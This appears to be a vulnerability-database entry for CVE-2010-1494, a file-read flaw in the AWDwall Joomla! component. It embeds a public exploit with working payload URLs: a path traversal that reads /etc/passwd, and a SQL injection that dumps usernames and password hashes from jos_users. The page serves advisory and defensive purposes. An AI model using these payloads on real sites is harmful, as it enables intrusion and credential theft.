CVE-2010-1494

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Published 2010-04-23 · Modified 2026-04-29

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

6.0

Description

Directory traversal vulnerability in the AWDwall (com_awdwall) component 1.5.4 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-12113 webapps php verified text · 2 KB

AntiSecurity · 2010-04-08

Joomla! Component AWDwall 1.5.4 - Local File Inclusion / SQL Injection

text exploit Source: Exploit-DB

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  [o] Joomla Component AWDwall-Joomla LFI & SQLi [cbuser] Vulnerability
 
       Software : com_awdwall version 1.5.4
       Vendor   : http://www.awdsolution.com/
       Author   : AntiSecurity [ NoGe Vrs-hCk OoN_BoY Paman zxvf s4va ]
       Contact  : public[at]antisecurity[dot]org
       Home     : http://antisecurity.org/


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  [o] Exploit

       http://localhost/[path]/index.php?option=com_awdwall&controller=[LFI]
       http://localhost/[path]/index.php?option=com_awdwall&view=awdwall&Itemid=1&cbuser=1[SQL]


  [o] PoC

       http://localhost/index.php?option=com_awdwall&controller=../../../../../../../../../../etc/passwd%00
       http://localhost/[path]/index.php?option=com_awdwall&view=awdwall&Itemid=1&cbuser=-1+union+select+1,2,3,4,5,6,group_concat(username,0x3a,password),8,9,10,11,12+from+jos_users--


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  [o] April 08 2010 - GMT +07:00 Jakarta, Indonesia

Application impact

Vendor	Product	Versions	Fixed
awdsolution	com_awdwall	`1.5.4`
joomla	joomla\!

References

CWEs

CWE-22

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.